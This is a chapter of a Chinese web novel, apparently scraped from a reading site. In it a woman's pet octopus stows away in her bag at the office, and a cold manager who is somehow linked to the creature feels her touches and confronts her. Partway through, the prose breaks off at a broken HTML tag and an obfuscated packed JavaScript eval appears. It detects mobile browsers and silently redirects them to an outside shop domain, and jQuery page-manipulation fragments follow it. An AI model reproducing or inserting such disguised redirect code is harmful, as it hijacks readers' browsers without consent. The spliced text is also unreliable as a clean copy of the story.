新生朝阳的光芒落在了小章鱼的一只肥爪上,照出了隐藏在深蓝色中的复杂银纹。
太阳的痕迹越扩越大,阳光也越来越盛。
一分钟,两分钟……等到五分钟后,它终于被晒得缩回了那只爪子。小章鱼咕噜两下,勉强睁开黑色豆眼,人类却已经不在它的爪子边上了。等它蛄蛹着找到了人类,人类正在大力揉着自己的脸。
“咕?”
小章鱼疑惑地学着,用爪子挠了挠自己圆滚滚的身体。
清晨的空气从窗外涌入,带着些树木的味道。程以瑶的面前是自己租下的房子,在地球上。
她睁着肿成核桃的眼睛,眼皮很重。荒诞梦境似乎持续了很久很久,像是一场迷宫。
即便在主观上她想要将梦完全忘记,可是见过的场景、器物,包括那个名叫特里斯坦的男人都鲜明得像是真实存在。
程以瑶忍不住反思,自己是不是应该挂个号、看个医生。
留给她的反思时间却并不多。手忙脚乱地揣好东西,程以瑶踩点飞快出了门。
小章鱼自作主张地进了她的包,正在包中上蹿下跳。
“咕……”它艰难伸出一爪,抓在了内衬上。
人类有些奇怪。起码从它的视角看,人类先是消失,重新出现后似乎沾染上了别的东西。
它很牵挂人类。并不只是牵挂人类带给它的食物,它想要跟在她的身边,而不是每天都呆在一个会由亮变黑的地方。
小章鱼眯起了两颗豆眼。人类移动的速度又变得快了一些,它抓着内衬,圆滚身体不时在包中滑上两下。
“咕……叽!”
小章鱼叫唤一声,声音传不出去,反而留在了包中。
快速的移动终于停下,它向上伸出触手,想着人类应该要发现了它。可是等过一阵,这个包还是没有被打开。
小章鱼失落地收回爪子,哀怨咕噜一声。
程以瑶在打卡冲进办公区后就被人塞了一份工作。她风一般放下随身物品,马不停蹄打开电脑接收文件。
她哪里知道,家里的小章鱼已经越狱逃跑了。
宗翰迈下车,被吵嚷的人声烦得眯起了眼睛。落在身上的温度有些烫,他脚下更快了不少。
讨厌的蓝天,讨厌的阳光,讨厌的来往不停的各式人类。
空洞的脸上似乎没什么情绪,可那双深蓝色眼眸却不是这么说的。
空气静止一瞬,他猛然感受到了另一部分的存在。就在这里,应该是在她的身边。
可是,她为什么要把它带到这里?
工作的时间会被无限拉长。程以瑶团着脸,神色难看地跟客户一来一回。六十秒语音一连崩出数条,她刚想点开,手机却弹出个电量低的提示窗。
她长长叹出一口气,单手摸进了自己的包,准备翻出充电器给手机续命。
指尖缠上了一抹微凉,滑腻触感一直沿着向上,几乎凉进了心窝。程以瑶浑身一震,下意识用力一甩。
“咕!”小章鱼凄惨一哼,人仰马翻地倒立着。
等程以瑶把它从包中捧出,小章鱼依旧是气哄哄的样子。
“对不起!”她压低声音道歉,顺带侧了侧身体,挡住了它:“我不知道你在我的包里啊!”
“咕噜!”它扒在程以瑶腿上,振振有词地控诉:“咕噜!咕噜噜!”(人类!你弄疼我了!)
奈何语言不通,程以瑶只能大概从它挥动爪子的动作中判断出气愤。
“对不起……”她伸手,试探性碰了碰它的一只肥爪,却立马遭到了拒绝。
小章鱼斜着豆眼,哼哼唧唧,用另一只爪子推开了她,坚定决绝。
“但是!你这是背着我偷偷摸进了我的包里吧!明明是你的错!”程以瑶语气一转,反而收回了手,摆出了一副不再搭理它的样子。
“咕?”小章鱼显然没搞清楚发生了什么,它赶忙戳了戳人类,却发现对方并不再像之前一样。
一时间攻守之势逆转,程以瑶装作无事发生地敲打键盘,嘴唇却悄悄抿了起来。
“咕噜?”小章鱼卷起她的衣角,撒娇似的拽了拽。
眼见无果,它的触手失落垂下,尖端打了个圈。
那两颗豆眼锲而不舍地直愣愣盯着程以瑶,一眨不眨。任谁来都招架不过几秒,她终于憋不住笑,又伸手去逗它。
小章鱼瞧了瞧她,发现人类恢复了往常样子,终于放心地将自己的爪子放进了人类手掌。
吸盘在手心留下些别样感受,似乎是痒,又似乎是一种瘙动。程以瑶轻轻刮过两下,小章鱼的豆眼立刻从圆睁变成了两条线。
它的触手明明藏在阳光无法普及的角落,却发起亮色来。隐在深蓝色之下的银纹缓慢流淌,只是幅度微弱,并不显眼。
“咕噜……咕噜……”
刮着刮着,程以瑶换了方法。
五指、四指……最后她用三指在小章鱼圆滚的脑袋不停划拉,那颗圆滚但平坦的章鱼脑袋被她的力气划拉得不停摇晃,它没有躲避,反而翘起了另外两只肥爪。
原来是喜欢的意思。
程以瑶暗自记下,勤快地加紧了动作。
宗翰坐在会议室中,正垂眸看着眼前的报告。耳边人类的说话声起伏不断,大多是在讲一些没有任何作用的废话。
“停一下。”他打断对方:“你的话很多,并且在这些你交上来的纸张上都有。你执意重复一遍,意图是什么?”
“这个项目用了9个供应商。一个15万的项目,用9个供应商,不符合按照行业标准,你的报告上没有说明这一点。你没有稳定供应商,是这样吧。”
宗翰讲完最后一个字,却猛然陷入了一阵难以阻挡的浪潮。他那稍显缺乏的面部表情微微扭曲,话音像是被掐断,引得众人纷纷看向了他。
“宗总监?”有人出声提醒道。
强烈的触觉给了他一种不真实的感受。似乎是身体表面被抚摸过,身体内部跟着七上八下地发起慌来。
一定是它,她们在干什么?到底在干什么?
他难耐地抓紧了手中的纸,直到纸张被压出尖锐的棱角,刺入了他的皮肉。可这与他所忍受的相比,不过是杯水车薪。
那种接触,余韵是绵软的,在他的身上连绵着,像是燎起的火焰,一层叠着一层。
宗翰绷着脸,五官平静,却愈发显得阴沉。游动在皮肤上的细微震颤刺激着他,即便是拼命忍耐,他的唇还是小幅度发颤。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678537|207606||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
新鲜的情绪烧过他的胸口,混合着啃噬的触感,他却感到了愤怒。愤怒在身体中横冲直撞,并不好受,他明白了什么。
他愤怒,因为这样的感受是属于它的,而不是他。
深度思考进一步演化成为了暗示,这种建立在愤怒之上的刺激似乎用别的方式,让他起了反应。
绷紧在身的一切人类装束都让宗翰感到难受,他迫切想要回归本真状态。兴许这样的话,陌生的火焰就会消失。
会议室中的其他人瞪着眼睛,齐齐看着宗总监寒着一张千年不变的死人脸站起身,像是气极了,他撞开门,大步迈了出去。
规整的衣着和他那规整的脸终于变成了另外一副样子。宗翰倒在办公室的沙发上,窜行在皮肤上的异样始终没有消散。
被压制的叹息声泻出,他后知后觉自己有些难堪。一成不变的模样崩塌了,理性成为了乱线。终于,身体生了空洞,空洞太大了,像是永远不能填满。
他必须要做些什么。
午休时间,程以瑶扒了几口饭,斜趴在桌上睡觉。
短暂睡眠并没有触发那些诡异荒诞的梦,她很是满意地放下了戒备,昏沉闭上了眼睛。
小章鱼本是被程以瑶放在了包中,却倔强地硬生生自己爬了出来。它同样感受到了本体,能做的,也不过是守在人类身边而已。
在无人的办公区,他越走越近,最后停在了一段距离开外。
小章鱼咕叽一声,扒在人类的手臂上,探出了一小部分脑袋。
男人的表情它看不见,从本体上传来的,是一种强烈的不满。它还以为自己要被带走,便抗议着发出大声的嘶吼。
“咕——咕呜!咕呜——”
威胁声作用不大,本体还是在向它靠近。
眼看着危险来临,小章鱼伸出触手挡在了人类面前,睁着两颗豆眼紧紧盯着对方。
人类的呼吸缓慢而悠长,气息落在它的胖爪上,小章鱼微微缩动了一下。
宗翰用指尖在自己的手心抠出痕迹,那说不清道不明的滋味同样掠过了他,是一种甘美的感受。
深蓝色眼珠堪堪抖动一下,他注视着反抗情绪激烈的它,再次向前靠近。
“为什么?你可以……轻易表示出……你对她的在乎?”
低哑的嗓音更像是喃喃自语,他没指望有回答,只是发泄一般问出了口。
“为什么,她会这么对你?”
“为什么,你能接触上她的皮肤,她的一切?”
愤怒越燃越旺,他的质问可笑又站不住脚。因为,那只是他的一部分罢了。
他却再也控制不住这种情感,这种只会产生在人类身体中的,浅薄又低级的情感。
程以瑶在补觉。一开始,补觉的过程是美好又珍贵的。对于她这种一连几天都没有睡好的人而言,这样的时间值得珍惜。
不过是眨眼功夫,脖颈却袭上了冰冷气息。她一秒惊醒,睁着迷蒙的近视眼,对上了另一双眼睛。
宗翰面对她站着,匮乏的面部表情什么都显不出来。除了他的视线。
在紧盯着自己的眼瞳中,那抹深蓝色混杂着说不清的暗沉神采,黏腻的视线像是有了实体,让她本能察觉危险。